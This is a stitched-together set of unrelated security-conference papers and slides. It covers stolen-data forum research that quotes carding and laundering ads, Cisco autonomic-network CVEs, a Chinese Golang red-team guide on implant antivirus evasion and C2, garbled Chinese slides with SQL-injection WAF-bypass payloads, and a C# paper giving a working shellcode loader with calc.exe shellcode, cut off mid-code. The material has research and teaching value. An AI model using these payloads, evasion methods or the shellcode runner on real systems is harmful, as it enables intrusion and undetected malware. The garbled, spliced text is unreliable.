participation RULES: (please read the rules carefully and follow all the steps, anyone breaking this rules shall expect to be fully ignored by service) 1. Contact with one of the our supports and choose dumps u want. 2. Calculate total price and submit your order. 3. Send us money and your e-mail. 4. We have 24 hours (maximum) to complete your order.(LR [Liberty Reserve Payment] INSTANT DELIEVERY ) 5. We replace only Pickup/Hold Call Dumps with in 24 hours after time period we are not responsible PAYMENT INFO: LIBERTY RESERVE Support Icq: [removed] The Sales Process Seller Posts an Ad in Forum • The sales process involves mutual association and participation • Let us introduce ourselves: we are the trusted sellers of the PayPal accounts. You'll find lots of USA/UK: WMZ/LR Unverified + Bank Acc (confirmed) WMZ/LR accounts (confirmed) • We also have accounts with email-just ask and we'll let you know. We accept both: Webmoney / Liberty Reserve Here are some rules of the service: • => Seller is not responsible for SM (security measures); we check all the accounts manually prior giving them to you. You'll also get a clean socks5. => Seller is not reponsible for the unsuccessfull usage of the account. The Sales Process Seller Posts an Ad in Forum • The sales process involves mutual association and participation We are the experience team [name removed] working in the area of banking innovations, and here on the site we are ready to offer you the following services: We in cash funds in the RF [Russian Federation] which we have received as electronic bank transfers. Help with encashment: direct scheme- no intermediaries -encashment of funds -Transmit of electronic funds -Diversion of funds -Work with accounts that have been seized by the authorities Work with dirty funds Our advantages: -Low commissions -Speed (as a rule, funds are received on the day that they are credited to our company’s account (usually on the day following the payment day in the RF), on the next day or maximum one day after crediting to our account depending on the amount. Pricing Information for Products Sold Min Max Average Count % Product Price Price Price w/Price Bank Accounts 5.00 700.00 187.44 63 30.7 Cashout Services 0.30 6000.00 1076.93 14 6.0 CVV 1.00 8000.00 26.21 4316 96.3 Dedicated Servers 0.20 700.00 100.97 42 26.7 Drops for Laundering 0.50 1000.00 192.37 27 16.4 Dumps 0.04 8000.00 102.60 5167 90.1 eBay/PayPal 0.20 800.00 27.25 118 64.4 Equipment 3.00 5000.00 549.51 61 30.8 Fullz 15.00 150.00 72.81 87 71.3 Identity Docs 0.50 500.00 138.46 32 40.0 Malware 2.00 1570.00 83.27 99 54.1 Money Transfers 10.00 38000.00 1424.59 37 52.2 Personal Info and 1.00 5025.00 197.19 44 44.4 Accounts Plastics 0.50 3000.00 261.47 47 30.7 Skimmers 200.00 9000.00 2382.60 23 18.4 Spam and Scams 8.00 600.00 96.33 24 16.4 Products Sold • There is some variation in products based on the legitimacy of seller behavior Including All Forums 1. Dumps 5735 2. CVV 4481 3. Money Xfer 303 4. Other Products 277 5. Cashout Services 235 6. Bank Accounts 205 7. Equipment 198 8. Malware 183 9. Drops 165 10.Dedicated Hosting 157 Excluding Two Forums 1. Dumps 2748 2. Cashout Services 196 3. Other Products 170 4. Malware 151 5. Dedicated Hosting 139 6. Drops 136 7. Money Xfer 127 8. eBay and Paypal 108 9. Spam/Scam Materials 104 10.Plastics 86 Price By Country Bank Accounts Dumps 0 1 T 0 1 T Asia 4.82 4.48 0.54 3.57 4.32 -12.31*** Australia and 0 0 0 3.64 3.29 3.21*** New Zealand Canada 4.74 5.25 -1.06 3.67 3.37 5.90*** Europe 4.95 4.12 2.22* 3.49 4.02 -14.17*** Other 4.76 5.09 -0.63 3.52 4.48 -19.09*** Russia 0 0 0 3.64 3.85 -0.50 United Kingdom 4.82 4.08 0.85 3.69 2.81 13.00*** United States 4.68 5.33 -1.37 3.85 3.04 22.05*** * p**p***p Notes: The binary measures were computed for each geographic category. That is, Bank Accounts sold in Asia (1) compared to all other accounts (0), and the T indicates the t-test measure. Sales Process and Social Organization Seller Posts an Ad in Forum Sales Occur Via ICQ/Email/ Jabber • The sales process involves mutual association and participation • Buyers place orders and pay for services electronically – Liberty Reserve, WebMoney (WM) – Western Union/MoneyGram – Escrow payments incorporating other forum users Sales Process Facilitators • Guarantor services The guarantor of a forum has been created so that you will not be deceived… By conducting a transaction through a guarantor, you can be sure that you will not be deceived. • Terms for working through a guarantor: 1. The buyer and the seller must reach agreement on working through a Guarantor. 2. The buyer and the seller must contact the Guarantor using icq. 3. One of the Parties to the transaction gives money to the Guarantor, and the other goods. 4. The guarantor's services are free up to $30. up to 500 wmz - 8% from 500 wmz - 6% from 3000 wmz - 5% Sales Process and Social Organization Seller Posts an Ad in Forum Customer Feedback in Forum Sales Occur Via ICQ/Jabber/E- mail • The sales process involves mutual association and participation Yazov: TS [Thread Starter] laundered $300, the speed is comparable to the second cosmic speed. Everything was magnificent, I’ll go back Avatar: I did some laundering of money from a female partner, everything was quick and excellent and he [the TS] takes a small percentage, which also makes one happy. • Hans – Has your service been tested or vouched? I can provide potential business for you in the way of carding items… • Bitmore – he is a ripper!!!don't believe him!his drops from florida • Dentmer – I am no ripper, I have never had a complaint. This poster just wants to cause trouble. I have never dealt with him before. As you can see, there are no logs to back up his claim. Moderator please ban him. • Kimpo – I have contacted with him on other forum!!! I asked him he accepts to pay escrow for guarantee.. Of course he refused! Social Organization: Product Reviews Sales Process and Social Organization Seller Posts an Ad in Forum Customer Feedback in Forum Sales Occur Via ICQ/Email Moderator Review/Approval in Forum • Checking Rules Checking your goods will take place voluntarily or if the administration of the forum requires it. Checking of goods is done by [name removed] The check last from one to three days. After the check, the moderator guarantees that there will not be any stupid flames in the topic and that the quality of the goods will not be discussed. The moderator will write a review on this and close the topic. If a requirement to provide your product for testing is refused, you risk being banned, and your announcement will be erased. No money is taken for testing. You provide the product for the test in the same configuration in which you sell it Social Organization: Product Testing Social Organization of Markets Seller Posts an Ad in Forum Customer Feedback in Forum Sales Occur Via ICQ/Email Administrative Oversight of User Behavior Forum Administration • Forum Admins and Moderators can also manage the activities of users through bans – To leave fictitious rules in topics. The fact that a transaction has been carried out must be confirmed by the appropriate proof upon the first request of the administration. If this cause is violated, the user leaving a fictitious review will be banned, and perhaps even permanently.. – To leave the following type of message: “TS [Thread Starter] is a burner [rip off artist] you shouldn’t have anything to do with him.” We will immediately post the logs proving guilt.. – Reviews from users with 1-10 messages who have not been on the forum for long will be deleted at the discretion of the moderator. Macro-Level Organization Forum 1 Forum 2 Forum 3 Forum 4 When viewed in the aggregate, some of these forums act as formal organizations: • Place to sell and buy • Managerial structure • Connections between forums • Duration over time The Economic Impact of Stolen Data Markets Estimates of Seller Profits Product Non-Ripping Ripping Total Bank Accounts 3 18 21 CVV 2 61 63 Dumps 190 67 257 Ebay/PayPal 6 3 9 Fullz 0 3 3 Total 201 152 353 Estimates of Seller Profits • Data sellers have massive potential for profit – Using the average cost for data: • CVV=$26.21; 50 accounts=$1,310 • Dumps= $102.60; 100 dumps= $10,260 • ebay/PayPal= $27.25; 50= $1,362.50 – Total transactions based on feedback • CVV= $82,561.50 • Dumps= $2,636,820 • eBay/PayPal= $11,938.50 Estimates of Buyer Profits Product Non-Ripping Ripping Total Bank Accounts 1 12 13 CVV 0 25 25 Dumps 117 24 141 Ebay/PayPal 1 1 2 Fullz 0 1 1 Total 119 63 182 Estimates of Buyer Profits • Estimating gains for data buyers is much more complex – Likelihood of ripping may be high – There is an expectation that not all data will be functional • Estimates of direct funds acquired by identity thieves in the US in 2012 – Credit card= ave.=$1,448; median= $300 – Debit card= ave.=$552; median= $200 Estimated ROI: Dumps • There were 117 instances of positive feedback from dumps sales – Assuming 65 cards are valid and active, the ROI varies based on what metric is used • Credit Card Loss Average –($94,120-$10,260)/$10,260= 8.17 ROI • Credit Card Loss Median –($19,500-$10,260)/$10,260= 0.9 ROI – Using the median loss, buyers could gain $2,281,500 Estimated ROI: Dumps • There were 117 instances of positive feedback from dumps sales – Assuming 65 cards are valid and active, the ROI varies based on what metric is used • Debit Card Loss Average –($35,880-$10,260)/$10,260= 2.49 ROI • Debit Card Loss Median –($13,000-$10,260)/$10,260= 0.26 ROI – Using the median loss, buyers could gain $1,521,000 Estimated ROI: eBay/PayPal • There is only one instance of positive feedback – Assuming 25 accounts are operational, the ROI is improved from that of dumps • Credit Card Loss Average – ($36,200-$1,362.50)/$1,362.50= 25.5 ROI • Credit Card Loss Median – ($7,500-$1,362.50)/$1,362.50= 4.5 ROI • Debit Card Loss Average – ($13,800-$1,362.50)/$1,362.50= 9.12 ROI • Debit Card Loss Median – ($5,000-$1,362.50)/$1,362.50= 2.66 ROI Forum SNA Descriptive Statistics Forum # of Threads # of Users # of Ties # of Loops Multiple Lines Multiple Loops Percent in the Largest Component 1 55 81 49 48 0 55 18.5 2 128 160 196 101 11 25 86.25 4 144 170 210 120 103 225 50.59 5 89 88 7 77 0 9 4.54 6 48 416 295 39 0 8 58.89 7 202 157 160 68 13 134 71.98 8 590 471 350 278 121 470 55.29 9 312 650 762 286 2 26 73.69 10 60 237 392 40 85 56 60.61 11 35 66 50 33 10 85 97.01 12 71 119 95 53 3 18 62.19 13 153 293 240 136 23 127 55.63 Forum Network Measures Forum Network Density Average Degree All Degree Centrality 1 0.016 2.568 7 2 0.013 4.163 8 4 0.023 7.741 15 5 0.012 2.114 11 6 0.002 1.644 11 7 0.015 4.777 17 8 0.006 5.266 54 9 0.003 3.346 10 10 0.010 4.835 1 11 0.041 5.394 19 12 0.012 2.840 7 13 0.006 3.283 13 Forum 6 Green – Selling Yellow – Buying Light Blue – Neutral Dark Blue – Buying & Selling Centrality – Size of circle Economic Activity By Centrality Economic Activity by Post Forum 6 Green – Selling Yellow – Buying Light Blue – Neutral Dark Blue – Buying & Selling Centrality – Size of circle Economic Activity by Centrality Forum 8 Green – Selling Yellow – Buying Light Blue – Neutral Dark Blue – Buying & Selling Centrality – Size of circle Economic Activity by Posts Forum 8 Green – Selling Yellow – Buying Light Blue – Neutral Dark Blue – Buying & Selling Centrality – Size of circle Discussion •The forums appear to be organized at two levels •The sales process blurs the line between colleagues and peers •The forums comprise teams and formal organizations • The network of stolen data markets are generally inefficient • Variations across stolen data markets based on centrality of users by status and participation Market Disruption • Based on our analyses, disruption should focus on the entire forum rather than individual sellers or Sybil attacks – Dark Market • Pursue and prosecute payment services for their role in facilitating illicit transactions – Short term benefit, but long term impact Evaluation and Partnerships • There is a substantial need for law enforcement and academic partnerships – Vetted forums are the key vehicle but are closed off from general access – Evaluate and capture off-forum communications – Assess the impact of disruption methods on market operations Further Research • There is a need for substantial additional research – Data collection and analysis of various forums and IRC channels to validate findings – Data from either current or recently shut down PMs and ICQ communications to understand difference between advertised and negotiated price – Exploration of social network position relative to advertised price – Additional research on payment mechanisms and their influence on price Questions? • Please contact the PI: • Dr. Thomas J. Holt • Associate Professor • Michigan State University • holtt@msu.edu • 517-353-9563 44
pdf
Attacking Autonomic Networks 2 #sh run o o o 3 Agenda o o o o 4 Autonomic Systems o o 5 Autonomic Network o o o o Autonomic Network logo as shown by Cisco in their presentations here and here 6 Live Demo 7 Demo Results o o o 8 Cisco Deployment o o o o 9 Channel Discovery o o 10 Adjacency Discovery o o o o o 11 Adjacency Discovery Registrar Enrollee Generate 3072-bit RSA key 12 Secure Channel o o o o o o o 13 Registrar Configuration autonomic registrar domain-id ERNW.de whitelist flash:whitelist.txt CA local no shut autonomic 14 Enrollee Needed Configuration o o o o autonomic 15 Autonomic Effect o o o o o o o 16 Are you in Control? 17 Autonomic Network: Under The Hood 18 Channel Discovery 19 Channel Discovery 20 Channel Discovery 21 Channel Discovery 22 Channel Discovery 23 Channel Discovery 24 Channel Discovery 25 Channel Discovery 26 Adjacency Discovery 27 Adjacency Discovery 28 Adjacency Discovery 29 Adjacency Discovery 30 Adjacency Discovery 31 Adjacency Discovery 32 Adjacency Discovery 33 Adjacency Discovery 34 Adjacency Discovery 35 Adjacency Discovery 36 Adjacency Discovery 37 Adjacency Discovery 38 Adjacency Discovery 39 Adjacency Discovery 40 Secure Channel 41 Secure Channel o o o 😉 42 43 Is it Secure? 44 Live Chat Support 45 Live Chat Support Me: Hi, I connected 2 nodes from 2 different domains and they built the secure channel! 46 Live Chat Support Me: Hi, I connected 2 nodes from 2 different domains and they built the secure channel! Support: Thanks for reporting, we created BugID CSCvd15717. We will check with the BU for that 47 Live Chat Support Me: Hi, I connected 2 nodes from 2 different domains and they built the secure channel! Support: Hi, the BU responded that as both have a certificate signed by same CA, then they can connect. 48 Live Chat Support Me: Hi, I connected 2 nodes from 2 different domains and they built the secure channel! Support: Hi, the BU responded that as both have a certificate signed by same CA, then they can connect. Me: Wait, what about different domains? Well, this shouldn’t be 49 Live Chat Support Me: Hi, I connected 2 nodes from 2 different domains and they built the secure channel! Support: Hi, the BU responded that as both have a certificate signed by same CA, then they can connect. Me: Wait, what about different domains? Well, this shouldn’t be Support: We will add a feature to check domains in the future! 50 Bug: CSCvd15717 o o o o 51 Live Chat Support Me: Hi, I can’t revoke the certificate of one of the accepted nodes. 52 Live Chat Support Me: Hi, I can’t revoke the certificate of one of the accepted nodes. Support: We will check that. Please note that the revoking of certificates is not supported on local CA. 53 Live Chat Support Me: Hi, I can’t revoke the certificate of one of the accepted nodes. Support: We created CVE-2017-6664 for that. 54 CVE-2017-6664 o o 55 Live Chat Support Me: Hi, the attacker can reset remotely the secure channel every time they are created, not only this the information is also in plain text! 56 Live Chat Support Me: Hi, the attacker can reset remotely the secure channel every time they are created, not only this the information is also in plain text! Support: We created CVE-2017-6665 for that. 57 CVE-2017-6665 o o o 58 Live Chat Support Me: Hi, if the attacker reset the channel multiple times, eventually the node crashes! 59 Live Chat Support Me: Hi, if the attacker reset the channel multiple times, eventually the node crashes down! Support: We created CVE-2017-6663 for that. 60 CVE-2017-6663 o o 61 Live Chat Support Me: Hi, the attacker can crash the registrar by sending invalid enrollee IDs Support: We created CVE-2017-3849 for that. 62 CVE-2017-3849 o o 63 DeathKiss! 64 CVE-2017-3850 o o o o o 65 Conclusion o o o o o o o o 66 Finally… o o o o o o
pdf
Golang红队开发指南 目录 1 2 3 ProjectDiscovery Golang 植入端对抗方案 Golang C2 Sliver 1. 像Python一样简单,代码可读性好 2. 简单的多架构交叉编译支持 3. 语法层面的并发支持 4. 易用的包管理 & 很多红队生态 前言 为什么是Go Par t1:ProjectDiscover y 域名收集 Subfinder:通过各种api接口被动收集子域名 Uncover:整合各种网络空间引擎api接口 Dnsx:dns验证 资产探测 Httpx:web信息探测 Naabu:端口扫描 PoC Nuclei:Poc批量探测 通知 Notify:整合第三方结果通知 ProjectDiscovery https://github.com/projectdiscovery HTTPX:Web信息探测 https://github.com/projectdiscovery/httpx Features HTTPX:Web信息探测 1. http/https探测逻辑 2. Autofdmax • github.com/projectdiscovery/fdmax 3. CdnCheck • github.com/projectdiscovery/cdncheck • 整理CDN的ip段,判断ip是否在这些ip段中 4. Retryablehttp • 可重试http请求库 • github.com/projectdiscovery/retryablehttp-go • github.com/projectdiscovery/fastdialer/fastdialer Tricks HTTPX 并发控制 github.com/projectdiscovery/httpx/blob/master/runner/runner.go#L670 Module: github.com/remeh/sizedwaitgroup Go常用并发控制 • sync.WaitGroup • github.com/remeh/sizedwaitgroup • github.com/uber-go/ratelimit • Goroutine work pool 协程池 例子: 并发控制 Context.WithCancel:生成一个可取消的 Context。 例子:WEB指纹识别 Naabu: 端口扫描器 https://github.com/projectdiscovery/naabu/blob/master/v2/go.mod 快速扫描的秘密 • syn扫描基于系统socket发包,libpcap接收 • blackrock:随机化扫描算法 Golang with libpcap 静态编译 GOENABLE: 1 CGO_LDFLAGS: "-Wl,-static -L/usr/lib/x86_64-linux-gnu/libpcap.a -lpcap -Wl,-Bdynamic" 用途 DNS爆破?(https://github.com/boy-hack/ksubdomain) Linux Port Knocking? Golang with libpcap Subfinder:子域名被动搜索 https://github.com/projectdiscovery/subfinder 插件组织 Subfinder 集成 Nuclei:PoC探测 https://github.com/projectdiscovery/nuclei-templates https://github.com/projectdiscovery/nuclei Nuclei DSL github.com/Knetic/govaluate github.com/boy-hack/govaluate Nuclei:其他 1. 请求合并 • 比较模板请求中的method,最大重定向数,是否共享cookie请求, 是否重定向 • 比较请求的path • 比较请求的header 2. 项目保存 • projectfile是nuclei提供了可以保存项目的选项。 • 内部实现是通过一个map保存了所有请求的包以及返回结果,key 是对请求体(request struct)序列化后进行sha256运算。 Nuclei 集成 github.com/projectdiscovery/nuclei/v2 v2.6.0 模板解析 Nuclei 集成 github.com/projectdiscovery/nuclei/v2 v2.6.0 模板执行 设计模式:Pipeline ProjectDiscovery 集成 Par t2:Golang植入端对抗方案 Golang植入端对抗方案 植入端:任何投递到目标环境的都叫植入端 预编译阶段 后处理阶段 执行阶段 源码生成 投递 编译阶段 对抗点 静态特征 行为对抗 内存对抗 静态分析 解决方案 源码混淆 去除Go符号 Go免杀框架 预编译阶段 Golang植入端对抗方案 灵感来源 预编译阶段 Golang植入端对抗方案 基于抽象语法树(AST) 源码混淆 • 长文本拆分 • 字符串、常量加密 • 虚假分支 • 控制流混淆 混淆前 混淆后 预编译阶段 Golang植入端对抗方案 长文本拆分 混淆前 混淆后 预编译阶段 Golang植入端对抗方案 字符串、常量加密 混淆前 混淆后 预编译阶段 Golang植入端对抗方案 不透明谓词:x * (x + 1) % 2 == 0 对于任意整数x,是永真 条件 可优化:使用API如CreateFile的返回值,或内置函数的错 误输出作为条件 _, err := strconv.ParseBool("x\xff") 虚假分支 混淆前 混淆后 预编译阶段 Golang植入端对抗方案 控制流混淆 混淆前 混淆后 后处理阶段 Golang植入端对抗方案 Golang符号混淆 • https://github.com/0xjiayu/go_parser • https://github.com/goretk/redress https://github.com/goretk/gore Packages Extracting types Estimating source code layout Golang植入端对抗方案 后处理阶段 Golang符号混淆方案 go-strip • github.com/boy-hack/go-strip • 编译过程中混淆 • 支持消除/混淆 • 函数名称 • 函数路径 • Go Struct • Type • Go Compiler Version • Go BuildID • Go Root Path •github.com/unixpickle/gobfuscate • Pkg重定位,goroot重定位,string混淆 • 源码层面混淆 •github.com/burrowers/garble • Replace Many useful identifiiers,package paths filename • Remote build and module information • 混淆字符串 • 编译过程中混淆 后处理阶段 Golang植入端对抗方案 处理二进制 • github.com/boy-hack/go-strip 执行阶段 Golang植入端对抗方案 免杀框架 ScareCrow https://github.com/optiv/ScareCrow • Crypto • aes • Evasion • ntdll .text reload • patch etw • syscall • Loader • binary • control • dll • excel • msiexec • wscript amber https://github.com/EgeBalci/amber Reflective PE packer • github.com/EgeBalci/keystone-go Crypto • sgn • Delivery • bits • hta • macro • AfterProcessing • 签名 、伪装白文件版本信息 执行阶段 Golang植入端对抗方案 免杀框架 执行阶段 Go SDK与文档生成 Golang植入端对抗方案 Par t3:Golang C2 Sliver 🤖C2:Command & Control Server. 🤖横行移动、数据读取. 🤖将流量隐藏在正常应用中. 🤖不同的连接方式: TCP, P2P, DGA. 什么是C2? https://github.com/BishopFox/sliver/ 通道:mTLS、WireGuard、HTTP(S)、DNS 植入端:MacOS、Windows、Linux Sliver Sliver -> implant 模板 -> garble -> Staged 主要是调用msf来生成的payload -> 使用DNS诱饵域名 发现蓝队 Sliver HTTP/HTTPS 通信流程 1. 请求公钥 2. 返回公钥 3. 生成AES KEY,公钥加密 4. 确认,返回session id表示注册 5. 后续implant发送数据附带sessionid Sliver 没有Sleep? http通道的实时回显 CobaltStrike TeamServer 间隔一段请求,获得指令和结果 Sliver TeamServer 请求,若没有数据,teamserver阻塞直至超时 有数据则立刻返回,implant重新发起请 求 Sliver 重放检测 发送的指令 随机编码+加密+随机值 Sha1运算 入库 重放 Error Page Sliver DNS通信流程 DNS协议 • dns域名限制 为253字符 • 对每一级域名长度的限制是63个字符 • 一个DNS TXT 记录字符串最多可包含255 个字符 防重放攻击:sha1 Sliver Go植入端变为shellcode server\generate\binaries.go 编译为dll Donut转换 go-donut github.com/binject/go-donut/donut 架构图 TeamServer Operater 前置器 • 前置器将原有TeamServer的通信(HTTP、 DNS)拆出来单独作为一个服务。 • 前置器能够一键部署以及销毁,防止溯源 • 前置器基于反代伪装任意网站,流量隐藏 • IP限制,拦截安全厂商、常见沙箱IP • 蓝队发现预警功能 前置器:防止溯源、流量隐藏 自己设计C2? 功能插件化 基础 beacon • filemanager • terminal screenshot proxy Sideload Darwin:DYLD_INSERT_LIBRARIES Linux: Memfd Windows: Dll Reflect https://github.com/moloch--/grumble 纯go实现 loadlibrary from memory 支持 dll、so、dyld https://github.com/pkujhd/goloader go obj loader 自己设计C2? 功能 https://github.com/Binject/binjection 用于感染,给pe、elf、marcho文件插入shellcode https://github.com/WireGuard/wireguard-go vpn go实现 https://github.com/C-Sto/BananaPhone windows syscall实现 https://github.com/vyrus001/go-mimikatz go写的mimikatz https://github.com/gen0cide/gscript 内置javascript引擎的droppers生成框架 https://github.com/liamg/traitor linux 提取框架 https://github.com/optiv/Ivy vba生成框架 https://github.com/wikiZ/RedGuard 一款C2设施前置流量控制工具 https://github.com/shadow1ng/fscan 一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。 https://github.com/redcode-labs/Coldfire provides various methods useful for malware development in Golang 自己设计C2?
pdf
在WAF⼦子 Who am I IdMayIKissYou 01 WAF Nginx-lua-waf Modsecurity web的WAF这 02 WAF 多只http://www.miku.com/ 1.php?id=1%20and1=1 ⽤用多情情 只TCP/IP⽤用到 情WAF下情 WAF bypass Know It Then Bypass It 03 WAF BYPASS 上BYPASS WAFWAF /这WAF上 你上个这 上上 上这 上WAF上bypassWAF 这 04 WAF BYPASS Puzzle到 bypass 到对发WAF情到对mysql情sqlserver情oracle情 postgresmysql到对⼦子情我出 我WAFselect from[好select from⼦子] 1select id from table 09 0A 0B 0C 0D A0 20 只也⽤用 2select id from table /**/ /*!50000*/ /*!*/只也⽤用 3select id from table select-.1,select!.1,select~. 1,select(1),select`host`,select’`’ select”1”,select@1 只也⽤用 4select id from table select{x version()}, select.`corp`.corp_id from corp;(…) WAF 我情select from为_ 情 1 时会发 http://wooyun.org/bugs/wooyun-2010-0121291 我sql时会发情们我 []select[][]from[]时 会 1):下1a-z,A-Z_
 2):下2a-z,A-Z_
 3):下3a-z,A-Z
 4):下4a-z,A-Z_ 1 时会发 http://wooyun.org/bugs/wooyun-2010-0121291 1 时会发 http://wooyun.org/bugs/wooyun-2010-0121291 http://zone.wooyun.org/content/13270 ⼈人上WAF WEBbypass WEB多WAF bypass情asp+IIS aspx+IIS php+apache java+tomcat http情 WAFhttp中http⼤大情⼤大 bypass WAF 好上好 WAFbypass这 WEBbypass 1IIS +asp(%) 那%情中s%elect情WAF s%elect情iis+asp中情select 2IIS+aspx(%u) Iis多unicode情⼦子select那 unicode情s%u006c%u0006ect情那IIS select情WAF情 s%u006c%u0006ect情这bypass 3IIS+asp|aspx HTTP Parameter Polution WEBbypass 4apache method wafmethod可情⼦子GET POST情apache多 可情method HELLO那情 情WAF http://www.wooyun.org/bugs/wooyun-2013-024599 WEBbypass 5php+apache boundary PHPmultipart data情boundary情 成情⼦子下boundary----aaaa,123456情php ----aaaa,过WAF 情那情BYPASS 2 windowsbypass http://wooyun.org/bugs/wooyun-2010-0115175 我 1⽤用我 id=1 and 1=1 2⽤用我 id=1 a%nd 1=1 3⽤用我 id =1 %u0061nd 1=1 我WAF 2 windowsbypass http://wooyun.org/bugs/wooyun-2010-0115175 %u0061 %uxxxx就65535,and 我asciiand![] 65535 %00aa%00e2 2 windowsbypass http://wooyun.org/bugs/wooyun-2010-0115175 bypass以 http://blog.sina.com.cn/s/blog_85e506df0102vo9s.html Author by yuange widechar情widechar iis情 情widechar 那 Web上 好 WAFBypass WAF发WAF情WAF 很⼦子 1⽤用WAF 没我 2⽤用WAF 说 3⽤用WAF 4⽤用WAF BUG 5⽤用 WAFBypass WAF 还WAFWAF只⽤用想情最的 们有[IP情IP情情 情] 没我情⼦子post情 情post1G情WAF没我1G 最的WAF情最下就没我 情就没我 地到payload情发WAF没我 WAFBypass ⼦子 1⽤用http://zone.wooyun.org/content/17331 bypass 到payload情没我个 2⽤用http://wooyun.org/bugs/wooyun-2010-089246 bypass dedecms来情情 到情bypass 3⽤用bypass⾃自和只我⽤用 要ecs多我 WAFBypass WAF 来还说么了情 情很说bypass情说 个 WAFBypass ⼦子 我IPS情能中wooyun⼦子 http://wooyun.org/bugs/wooyun-2010-094367jannock 情情waf真 WAFBypass WAF FUZZ 分我WAF那情WAF 到到情WAF情 不那情得bypass 我下 1⽤用get 2⽤用header 3⽤用post urlencode 4⽤用post form-data WAFBypass WAF FUZZ 来了360时会发 来了http://wooyun.org/bugs/wooyun-2010-091516 360urlencode上上 url%26上sql360 不上bypass这 payload这 %26&上上360 %26上bypass这 WAFBypass WAF FUZZ 来了时会bypass 来了http://wooyun.org/bugs/wooyun-2010-087545 POST这 urlencode上上在有payload0x00 上bypass上是select 1 from 2. post上我0x00 我上bug上bypass这 WAFBypass WAF WAF也们很IP情cdn 多情WAF没我⼀一 ipip情们bypass情 去到情bypass WAFBypass WAF ⼦子 nginx-lua-wafIPX-Real-IP 情上IP分 我nginx-lua-waf们我⼩小C WAFBypass WAF只都⽤用 WAF是下不起情起 情WAF是下domain=xxx.com domainhttp情bypass domainhost情情bypass WAF上 bypass这 WEBbypass WEBWAF发 1⽤用[url上base64] 2到[dedecmscms上上 GET上COOKIE上POST] 3到POST[urlencodeform-data] 上上 上这 上WAFweb⼀一上上 WAF上这 mysql到 WAF上 上好这 Thank you !
pdf
ASM in .NET: The old is new again by Jon McCoy(DigitalBodyGuard) Abstract: This paper will cover running raw Machine Code(ASM) from within .NET. As we all know .NET runs on IL(Intermediate Language) also known as “Managed byte code”. A program can declare an unsafe section of code and drop out from the managed area to run something like unmanaged C++ or the like. This paper will show how to run raw/unmanaged ASM in a normal safe C# application. The Basics of running ASM under .NET: To run ASM code just make a pointer to your target byte code. The execution point will jump you to the byte code and start executing, no unsafe keyword needed. This method currently requires one call to unmanaged code to allocate memory in code space. The sequence is as follows: ➢ Create an allocated space for the ASM byte code ➢ Copy the byte code into the allocated space ➢ Turn the pointer into a Delegate ➢ Run the Delegate ➢ Free up the space // make some space for the byte code in code space, so it can be ran IntPtr pointer = VirtualAlloc(IntPtr.Zero, new UIntPtr((uint)_ASM_Code.Length), AllocationType.COMMIT | AllocationType.RESERVE, MemoryProtection.EXECUTE_READWRITE); // copy the ASM code into memory(code memory) System.Runtime.InteropServices.Marshal.Copy(_ASM_Code, 0, pointer, _ASM_Code.Length); // build the function pointer to the ASM code(x64)!!!!!!!!!! funPointer ASM_Function = (funPointer)System.Runtime.InteropServices.Marshal.GetDelegateForFunctionPointer(pointer, typeof(funPointer)); // Run the ASM code ASM_Function(); // free up the ASM code in mem:) VirtualFree(pointer, 0, 0x8000); Complete Class code below This method requires access to VirtualAlloc/VirtualFree from kernel32.dll. This call into kernal32 is possible to block by revoking access to calling unmanaged resources and will only work in windows. The ability to run ASM under .NET with the code I supply can be stopped by removing the ability to call unmannaged assemblies. At the end of this paper, I cover how to setup a project in Visual Studio 2008 to stop this. This attack vector is not new but at this time my contribution to the technique is running it without reflection(something that can also be locked down), this grants it one less security right needed and slightly better stability. What can ASM code do: ShellCode is the generic category of code that would run from an exploit like a buffer over run, to compromise a system. Some common examples are CMDshells, open ports, privilege escalation attacks The big change for running ShellCode in .NET is getting around the surety in the .NET Runtime. As .NET is a Runtime language and can dynamically build and run ShellCode. Demo ShellCode Run Calc.exe 0x31, 0xF6, 0x56, 0x64, 0x8B, 0x76, 0x30, 0x8B, 0x76, 0x0C, 0x8B, 0x76, 0x1C, 0x8B, 0x6E, 0x08, 0x8B, 0x36, 0x8B, 0x5D, 0x3C, 0x8B, 0x5C, 0x1D, 0x78, 0x01, 0xEB, 0x8B, 0x4B, 0x18, 0x67, 0xE3, 0xEC, 0x8B, 0x7B, 0x20, 0x01, 0xEF, 0x8B, 0x7C, 0x8F, 0xFC, 0x01, 0xEF, 0x31, 0xC0, 0x99, 0x32, 0x17, 0x66, 0xC1, 0xCA, 0x01, 0xAE, 0x75, 0xF7, 0x66, 0x81, 0xFA, 0x10, 0xF5, 0xE0, 0xE2, 0x75, 0xCC, 0x8B, 0x53, 0x24, 0x01, 0xEA, 0x0F, 0xB7, 0x14, 0x4A, 0x8B, 0x7B, 0x1C, 0x01, 0xEF, 0x03, 0x2C, 0x97, 0x68, 0x2E, 0x65, 0x78, 0x65, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x87, 0x04, 0x24, 0x50, 0xFF, 0xD5, 0xC3 The above code does a call to start Calc.exe the common “you WIN” in ASM, if you can get someones program to do this you can build more and more power from this starting point to do anything. The Internets is a good place to find ShellCode? Yes and no, it is a good place to find ShellCode however know that people are hunting people that use ShellCode and you could be mistakenly targeted as a bad person. “Visual Studios has Exploits” Tips to searching for ShellCode: ● Some shell code will look like 0x00 or /x00 ● Also most ShellCode was done in 32-bit so it could have problems under 64-bit ● Some ShellCode is created for different systems(Win-XP/Win7/Unix/BSD) ● Some ShellCode is targeted at getting around different constants that does not affect what we are doing under .NET such as the “no null byte requirement” ● ShellCode created for python seems to work best in .NET Before you use shell code, do you know what it does: The ability to reverse engineer shell code is of top concern when you find it used against someone in the real world, but also if your using some ShellCode you found online you should know what it does. The common questions are: What does it do, What server did it talk to, How does it call home, What does it compromise..... Most shell code is small and packed to fit in a small space, but more complex systems are being commonly used like eggs. Some part of the ShellCode is put into an egg and hidden in a “random” location then the ShellCode when ran will seek to the egg and run it. Also some nice tools to convert a C++ application into shell code are out there, but if you don't write the code it should never be 100% trusted. In short this is a dangerous region of computers once you embark down this road the gloves are off and you know nothing is ever going to be completely secure again. The Full Code: using System; namespace ASM { public partial class ASMTest { public delegate int funPointer(int v); // windows call to alloc space in the process [System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError = true)] static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect); // windows call to free space in the process [System.Runtime.InteropServices.DllImport("kernel32")] private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, UInt32 dwFreeType); static public int runASM(int valIN) { // make some space for the byte code in code space, so it can be ran IntPtr p = 